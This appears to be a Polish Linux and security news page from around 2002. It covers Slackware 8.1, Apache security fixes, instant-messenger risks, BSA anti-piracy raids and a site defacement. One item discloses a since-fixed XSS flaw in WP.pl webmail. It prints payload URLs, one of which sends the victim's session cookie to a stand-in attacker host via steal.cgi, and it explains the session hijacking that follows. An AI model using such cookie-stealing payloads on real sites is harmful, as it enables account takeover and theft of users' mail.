Amerykański, internetowy hipermarket – WalMart.com – rozpoczął sprzedaż komputerów z preinstalowanym Lindows OS. W ofercie znalazło się 8 zestawów komputerowych (bez monitorów) z procesorami Pentium 4, Athlon, Duron oraz Celeron – wszystkie dość atrakcyjne cenowo.
więcej w newsach o Lindows
Wspominając wczoraj o dość poważnym błędzie w Apache’u w module obsługującym błędne zapytania, dziś można już pobrać kolejne i co najważniejsze bezpieczniejsze wersje tego serwera WWW. Wersjami tymi są Apache 1.3.26 oraz 2.0.39. Źródła tych programów można pobrać kolejno stąd oraz stąd, zaś lista zmian dla Apache 1.3.26 dostępna jest tutaj, natomiast dla Apache w wersji 2.0.39 tutaj
Jeszcze niedawno pisaliśmy o ostatnich zmianach zachodzących w currencie Slackware oczekując na wersję 8.1, a już od wczoraj można ją pobrać z tych stron (również jako ISO image).
Jak już wiadomo, nowa wersja została oznaczona numerkiem 8.1, a każdy kto uważnie i na bieżąco śledził zmiany zachodzące w poprzednich wersjach RC nie będzie miał dużych problemów z przejściem na nową wersję tej dystrybucji.
Oprócz tego, że nowy Slackware mieści się już na 4 płytach CD, znajdziemy w nim sporo aktualizacji programów, które zostały wprowadzone do nowego systemu nazewnictwa pakietów, a z pośród nich znajdziemy m.in: jądro w wersji 2.4.18 (z obsługą ext2, ext3, ReiserFS, JFS, XFS oraz wsparcie dla kontrolerów SCSI oraz ATA RAID), gcc 3.1 (dostępny jako opcja), XFree86 4.2.0, KDE 3.0.1, GNOME 1.4.1, długo oczekiwana Mozilla 1.0 i oparty na niej Galeon 1.2.5, Java 1.4.0.
więcej w newsach o Slackware
więcej w artykułach o Slackware
Zapraszamy do pobrania pełnej wersji książki pt.: „LINUX – podręcznik administratora sieci” autorstwa Olafa Kircha i Terry Dawsona, która została przetłumaczona na język polski przez Krzysztofa Łabanowskiego i może być rozpowszechniana w postaci elektronicznej na warunkach licencji GNU. Na 462 stronach zawarto wszystko to co każdy administrator sieci powinien wiedzieć.
Linux – podręcznik administratora sieci [3.28 MB]
Acrobat Reader 5.0.1 [8,41MB]
Zobacz również:
Samba w pdf’ie
The Hacker’s Handbook – teraz w pdf’ie
Więcej o książce na stronach wydawcy
Gadu-Gadu, WP kontakt, Onet Komunikator czyli programy typu Instant Messanger są coraz popularniejsze ale czy na pewno ich używanie jest w pełni bezpieczne ?
Programy do komunikacji w systemie Instant Messangingu rozpowszechniły się, dzięki firmie Mirabilis, która zaoferowała program ICQ. Producenci tego typu oprogramowania prawdopodobnie będą starać się opracować wspólne standardy dla poprawienia szybkości i bezpieczeństwa komunikacji.
IM pozwala na znaczne zwiększenie sprzedaży dlatego też firmy coraz częściej sięgają po te właśnie rozwiązania. Popularność IM sprawia, iż powstają coraz to nowsze techniki, wirusy potrafiące przejąć przesyłane dane działając np. na zasadach konia trojańskiego. Z tego też powodu szefowie kilku firm, już teraz, zakazali swoim pracownikom używania aplikacji typu IM w godzinach pracy.
Dlaczego używanie Instant Messagerów jest niebezpieczne?
– komunikacja zazwyczaj nie jest szyfrowana;
– są podatne na spoofing;
– platformy IM są ulubionym celem ataków ze względu na ilość użytkowników z nich korzystających.
Dotychczas standardy bezpieczeństwa opracowane wspólnie przez potentatów tej branży: AOL (właściciel ICQ i AOL Instant Messanger), Microsoft i Yahoo nie zapewniają skutecznej ochrony. Dlatego opracowanie nowych jest tylko kwestią czasu. Oby jednak wtedy nie było już za późno…
Przygotowywany jest raport dot. bezpieczeństwa polskich IM. Czekamy na Twoje sugestie i opinie pod adresem rafal at hacking.pl
Zobacz również:
Poważny błąd w Gadu-Gadu
Nieco przedwcześnie ujawniona została nowa, groźna luka w serwerze HTTP Apache. Dotyczy ona zarówno linii 1.3 jak i 2.0 i prowadzić może, w zależności od wersji i platformy serwera, do zablokowania serwisu lub nawet podmiany jego zawartości przez atakującego. Za lukę odpowiedzialny jest moduł obsługujący błędnie skonstruowane zapytania.
W wersjach 1.3, do 1.3.24 włącznie, może on powodować przepełnienie bufora, umożliwiające wykonanie zadanego kodu, co może zaowocować zmianą treści serwisu. Moduł w wersji 2.0 jest poprawiony, jednak wykrycie błędu w zapytaniu powoduje natychmiastowe zabicie procesu serwera. Odpowiednio przeprowadzony atak może doprowadzić do zablokowania serwera. Ze względu na odmienną architekturę środowiska bardziej podatne na pierwszy rodzaj ataku są instalacje na platformach windowsowych. Błąd w wersji 2.0 dotyczy w jednakowym stopniu platform unixowych i windowsowych.
Za bezpieczne wersje uważane są 1.3.25 oraz 2.0.39, które jednak… nie są jeszcze dostępne. Jest to spowodowane przedwczesnym ujawnieniem luki. Patche, które pojawiły się w internecie nie rozwiązują problemu. W tej chwili pozostaje więc śledzić zawartość serwisu httpd.apache.org w oczekiwaniu na nowe wersje serwera.
Źródło: CERT.pl
Zobacz również:
Więcej w newsach o Apache’u
„Apache. Przewodnik encyklopedyczny”
Swego czasu mrhack oraz Scooty odkryli poważny błąd w systemie pocztowym portalu WP.pl który umożliwiał przejęcie pliku cookies odpowiedzialnego za podtrzymywanie sesji konta pocztowego, dzięki czemu można było w łatwy sposób wykorzystać go do przejęcia sesji innych użytkowników, tym samym uzyskując dostęp do ich konta pocztowego.
Autorzy poinformowali portal WP.pl o dokonanym odkryciu po czym, w bardzo szybkim czasie, dostali odpowiedź na przesłaną informację. Aktualnie błąd ten już nie istnieje ale warto przedstawić więcej szczegółów technicznych.
Błąd ten polegał na tym, iż w adresie
http://profil.wp.pl/logoutmsg.html?komunikat=%3Cscript%3Ealert(document.cookie)%3C/script%3E
jako argument moża było podać dowolny łańcuch tekstu, który następnie był wyświetlany na stronie. Zatem w łatwy sposób można było przygotować odpowiedni kod napisany w JavaScript, a po uruchomieniu takiego adresu po stronie użytkownika, kod zostanie wykonany na jego komputerze. Ogólnie chodziło o to, aby przejąć plik cookie, który jest używany podczas sesji odbierania poczty. Można było to wykonać, w bardzo łatwy sposób. Mianowicie, wspomniany kod musiał przekierować użytkownika do skryptu np. cgi na komputerze atakujacego, który byłby odpowiedzialny za zapisywanie do pliku podany jako argument plik cookies. Zatem wystarczyło zdalnie „zmusić” użytkownika do wejścia na np. taki oto adres:
http://profil.wp.pl/logoutmsg.html?komunikat=%3Cscript%3Edocument.location.replace(‚http://jakis-serwer.pl/steal.cgi?’+document.cookie);%3C/script%3E
Jedynym problemem było to, iż przejęcie pliku cookies musiało nastąpić podczas, gdy użytkownik był zalogowany na końcie pocztowym. Przejęcie sesji nie nastąpiłoby również gdyby użytkownik ten wylogował się z konta.
Aby przejąc sesję, należało załadować skradziony plik cookie do przegladarki. Na przykład w Netscape wystarczyło odpowiednio zmodyfikować zapisany plik cookies, po czym można było wejść na adres http://poczta.wp.pl, by naszym oczom ukazał się panel obsługujący pocztę użytkownika.
Na zakończenie podam, iż istnieje jeszcze druga, podobna dziura w systemie pocztowym portalu WP.pl. Niestety autor nie chce udzielać szczegółowych informacji dotyczącej drugiej dziury, „ponieważ znów mogłaby zaistnieć dziwna sytuacja” – podaje mrhack.
ChangeLog w currencie ciągle nabiera rumieńców. Z ważniejszych rzeczy jakie należy wymienić to przede wszystkim dołączenie programu fbset, aktualizacja silnika javy z wersji 1.4.0 do 1.4.0-1 oraz poprawienie błędów związanych z bezpieczeństwem systemu w KHTML odpowiedzialnym za renderowanie stron w konquerorze. Standardowo wszystkie zmiany, które można śledzić na bieżąco, znajdują się w ChangeLog’u Slackware. Zatem bądźmy dobrej nadzieji… już niedługo Slackware 8.1
W maju policja we współpracy z przedstawicielami BSA przeprowadziła 19 kontroli legalności oprogramowania. Stan oprogramowania sprawdzano w 9 firmach, 2 sklepach ze sprzętem i programami komputerowymi, 4 kawiarenkach internetowych, na giełdzie komputerowej oraz w 3 mieszkaniach, które pełniły funkcję miejsc do kopiowania i magazynowania nielegalnych kopii.
W 15 na 19 kontrolowanych miejsc policja stwierdziła naruszenia praw autorskich producentów zrzeszonych w BSA. Podczas przeszukań policjanci zabezpieczyli 1400 nielegalnie zwielokrotnionych płyt, 68 komputerów, 2 twarde dyski oraz 3 nagrywarki służące do powielania nielegalnych kopii programów i gier. W celu złożenia wyjaśnień zatrzymano 17 osób.
Efektem działań operacyjnych policji było zlikwidowanie 5 sklepów internetowych, które za pośrednictwem stron www dystrybuowały nielegalne programy i gry komputerowe. Przerwano również działalność dwóch miejsc, w których hurtowo podrabiano oprogramowanie.
W maju przedstawiciele BSA przeprowadzili także 2 szkolenia dla policji. Omawiano na nich metody i sposoby dystrybucji, stosowane przez osoby zajmujące się nielegalnym powielaniem programów, czyli kradzieżą własności intelektualnej. Prezentowano również najnowsze zabezpieczenia oraz zasady licencjonowania oprogramowania firm zrzeszonych w Business Software Alliance.
Działania były przeprowadzone w Elblągu, Gdańsku, Gdyni, Koszalinie, Mińsku Mazowieckim, Szczecinie i Warszawie. Najwięcej naruszeń policja stwierdziła w Koszalinie, gdzie w każdym ze sprawdzanych miejsc dopatrzono się nieprawidłowości. Podczas jednej z kontroli policjanci z Komendy Miejskiej Policji zatrzymali pięcioosobową grupę, która „profesjonalnie” zajmowała się kopiowaniem i dystrybucją nielegalnego oprogramowania. Prawo łamano także w innych miastach, np. w Warszawie, w kawiarence internetowej policja zabezpieczyła 32 komputery, dwie nagrywarki CD-RW oraz 14 sztuk płyt CD-R z nielegalnie zwielokrotnionymi programami. W Elblągu w sklepie komputerowym, pełniącym również funkcję kawiarenki internetowej, zarekwirowano komputery i płyty z nielegalnym oprogramowaniem.
W kontrolowanych sklepach oferujących programy i sprzęt komputerowy stwierdzono łamanie praw autorskich producentów oprogramowania. Często zdarza się, że pracownicy sklepów instalują swoim klientom nielegalne kopie oprogramowania. W ten sposób może dojść do popełnienia przestępstwa przez obie strony transakcji. Business Software Alliance prowadzi akcje edukacyjne, w których wyjaśnia właścicielom, że sprzedając swoim klientom komputer z nielegalnie zainstalowanymi programami, narażają ich na duże ryzyko związane z niewłaściwym funkcjonowaniem sprzętu oraz konflikt z prawem. Klientów natomiast informuje, co powinni otrzymać podczas zakupu komputera i oprogramowania by być legalnym.
Firma webster.pl oferująca m.in. projektowanie stron internetowych zaprezentowała niezwykle oryginalną propozycje na strone firmową. Mirror oczywiście w dziale hacked.